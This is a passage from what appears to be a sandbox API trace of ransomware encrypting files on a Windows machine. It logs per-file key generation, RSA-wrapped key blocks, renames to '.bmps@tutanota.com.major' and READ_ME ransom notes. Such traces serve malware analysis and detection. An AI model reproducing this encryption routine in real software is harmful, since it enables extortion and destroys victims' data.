lpBuffer=0x6629e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0302.188] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.188] WriteFile (in: hFile=0x1be4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.188] CloseHandle (hObject=0x1be4) returned 1 [0302.188] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243289\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243289\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0302.372] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x235399a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x25417c04, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x512e8db7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37668 [0302.372] SetLastError (dwErrCode=0x0) [0302.372] GetLastError () returned 0x0 [0302.373] SetLastError (dwErrCode=0x0) [0302.373] GetLastError () returned 0x0 [0302.373] SetLastError (dwErrCode=0x0) [0302.373] FindNextFileW (in: hFindFile=0x2f37668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x235399a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x25417c04, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x512e8db7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0302.373] SetLastError (dwErrCode=0x0) [0302.373] GetLastError () returned 0x0 [0302.373] SetLastError (dwErrCode=0x0) [0302.373] GetLastError () returned 0x0 [0302.373] SetLastError (dwErrCode=0x0) [0302.373] FindNextFileW (in: hFindFile=0x2f37668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2379bfc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2379bfc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa42c0808, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0302.373] SetLastError (dwErrCode=0x0) [0302.373] GetLastError () returned 0x0 [0302.373] SetLastError (dwErrCode=0x0) [0302.373] SetLastError (dwErrCode=0x0) [0302.373] FindNextFileW (in: hFindFile=0x2f37668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x235399a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x235399a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa429a5cb, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0302.373] SetLastError (dwErrCode=0x0) [0302.373] GetLastError () returned 0x0 [0302.373] SetLastError (dwErrCode=0x0) [0302.373] SetLastError (dwErrCode=0x0) [0302.373] FindNextFileW (in: hFindFile=0x2f37668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x512e8db7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x512e8db7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5130efb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0302.373] SetLastError (dwErrCode=0x0) [0302.374] GetLastError () returned 0x0 [0302.374] SetLastError (dwErrCode=0x0) [0302.374] SetLastError (dwErrCode=0x0) [0302.374] FindNextFileW (in: hFindFile=0x2f37668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x512e8db7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x512e8db7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5130efb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0302.374] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0302.374] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0302.374] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243292\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be8 [0302.375] GetFileSizeEx (in: hFile=0x1be8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0302.375] ReadFile (in: hFile=0x1be8, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.375] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0302.375] WriteFile (in: hFile=0x1be8, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.375] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0302.375] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.375] WriteFile (in: hFile=0x1be8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.376] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0302.376] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0302.376] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0302.376] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662ca8, pcchString=0x2e3f9a8 | out: pszString="qRUOPGTnGd007fiocQGiYp6xZkfnt3RmyXFIgh8gL2Jr11PC8DjZ2U+t+qxXdNVx\nN3FZK/qdzO6iQC53t24Wsy+ORXSNcPllfP3N75gmP79u5ulnxd5lVp2/c0KdC4MA\nega3b+FsdHNvbWfLCEQKCGF1rc3UP0qBxbT7+DYEMDg4fFjerqssAmc1V4UpyAQs\nIuVKubDQ1+UbaiZ9VjfHS9WUT8KdQjPftoqIdHJ9ibmjB6563u4lKpKY3gkTLcoQ\nApQMksi/SbLdeC5tD5OR/VTClScbfWCXl2HN3gVZ8k0JQOnLfJxj58IAplB7cuhH\na4WYMvdGWbJE8PR5eNIyCw==\n", pcchString=0x2e3f9a8) returned 1 [0302.376] WriteFile (in: hFile=0x1be8, lpBuffer=0x662ca8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662ca8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0302.377] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.377] WriteFile (in: hFile=0x1be8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.377] CloseHandle (hObject=0x1be8) returned 1 [0302.377] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243292\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243292\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0302.379] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0302.379] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0302.379] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243292\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be8 [0302.379] GetFileSizeEx (in: hFile=0x1be8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0302.380] ReadFile (in: hFile=0x1be8, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.380] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0302.380] WriteFile (in: hFile=0x1be8, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.380] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0302.380] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.380] WriteFile (in: hFile=0x1be8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.381] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0302.381] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0302.381] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0302.381] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662f70, pcchString=0x2e3f9a8 | out: pszString="+i9LICZPYFb6LazkgjtSJDc+ZlL6blTyHF4pmrtB1hZWGk0UDyWGpsgx+EcpMjKJ\ncrrSnvo7PbfhOHZN+5ZV6YlThi2YBxNcoiQuHezcWLKFy91yNtL7QZvICH+t3EMz\nfCyz0a97vqt8gYSIoKEJ7fz/hLGrV5u1+KCL/PCe93w2DrGNdZGmDo8SeQFdxNIy\nw0zLwmqmt2JZsaHzzIzuocvEPa78XYjwQNU5fyT6lFVvvvroBKx+djddYhi6J6CW\noZbuN8EV+cUEEJFMh7Osu6Q77gD/4WJUo0yK1fd3gyZXUclKGcdCuv7AbTwkqJte\naAT2pBLMblGAZn7geqJAWA==\n", pcchString=0x2e3f9a8) returned 1 [0302.381] WriteFile (in: hFile=0x1be8, lpBuffer=0x662f70*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662f70*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0302.381] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.381] WriteFile (in: hFile=0x1be8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.381] CloseHandle (hObject=0x1be8) returned 1 [0302.381] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243292\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243292\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0302.383] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfed624f3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaabc7b4a, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x51336103, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f375a8 [0302.383] SetLastError (dwErrCode=0x0) [0302.383] GetLastError () returned 0x0 [0302.384] SetLastError (dwErrCode=0x0) [0302.384] GetLastError () returned 0x0 [0302.384] SetLastError (dwErrCode=0x0) [0302.384] FindNextFileW (in: hFindFile=0x2f375a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfed624f3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaabc7b4a, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x51336103, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0302.384] SetLastError (dwErrCode=0x0) [0302.384] GetLastError () returned 0x0 [0302.384] SetLastError (dwErrCode=0x0) [0302.384] GetLastError () returned 0x0 [0302.384] SetLastError (dwErrCode=0x0) [0302.384] FindNextFileW (in: hFindFile=0x2f375a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747c72d3, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x747ed538, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x74813784, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1053e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1504773412", cAlternateFileName="150477~1")) returned 1 [0302.384] SetLastError (dwErrCode=0x0) [0302.384] GetLastError () returned 0x0 [0302.384] SetLastError (dwErrCode=0x0) [0302.384] SetLastError (dwErrCode=0x0) [0302.384] FindNextFileW (in: hFindFile=0x2f375a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f85044, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xa9f85044, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa9fab273, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x111a0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1506430071", cAlternateFileName="150643~1")) returned 1 [0302.384] SetLastError (dwErrCode=0x0) [0302.384] GetLastError () returned 0x0 [0302.384] SetLastError (dwErrCode=0x0) [0302.384] SetLastError (dwErrCode=0x0) [0302.384] FindNextFileW (in: hFindFile=0x2f375a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed624f3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfed624f3, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xa06de074, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0302.384] SetLastError (dwErrCode=0x0) [0302.385] GetLastError () returned 0x0 [0302.385] SetLastError (dwErrCode=0x0) [0302.385] SetLastError (dwErrCode=0x0) [0302.385] FindNextFileW (in: hFindFile=0x2f375a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed624f3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfed624f3, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xa06de074, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0302.385] SetLastError (dwErrCode=0x0) [0302.385] GetLastError () returned 0x0 [0302.385] SetLastError (dwErrCode=0x0) [0302.385] SetLastError (dwErrCode=0x0) [0302.385] FindNextFileW (in: hFindFile=0x2f375a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51336103, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x51336103, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5135b547, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0302.385] SetLastError (dwErrCode=0x0) [0302.385] GetLastError () returned 0x0 [0302.385] SetLastError (dwErrCode=0x0) [0302.385] SetLastError (dwErrCode=0x0) [0302.385] FindNextFileW (in: hFindFile=0x2f375a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51336103, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x51336103, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5135b547, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0302.385] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0302.385] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0302.386] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bec [0302.386] GetFileSizeEx (in: hFile=0x1bec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0302.386] ReadFile (in: hFile=0x1bec, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.386] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0302.386] WriteFile (in: hFile=0x1bec, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.386] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0302.386] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.386] WriteFile (in: hFile=0x1bec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0302.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0302.387] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0302.387] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x661930, pcchString=0x2e3f9a8 | out: pszString="9kzpzERF5RmODFJ/InnKyFR0Cm4szvRf52rZ+V+zj4w0CM/npru9R2J/E7wS2nWf\nhXA/ZsO46iLQ/McY8JX6FV3JLp924EQ/lWIVo0lCtsYHdAIntCjkpAE7BkQd+asi\n12cCK5vAB9A9OmyugP2DhQcBjfXRtyqYqS8EnG7/XB6eH7aqRLk3M3VAtQyuYhbh\nk4Ai4FumP6ZeFkTOK5hTHGoXBo8UDGEuPmZKKpF/08zUr/p5UlhpCewVPWzka8WB\nhv2Wop7tKyne6o//lvhjpi8VlhUYLiq8hxMLMt4wTkG+pc64kfR+PTZ4/kPX/q+e\nR4ImyaiFvZssqeuZOq2Hcw==\n", pcchString=0x2e3f9a8) returned 1 [0302.387] WriteFile (in: hFile=0x1bec, lpBuffer=0x661930*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661930*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0302.388] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.388] 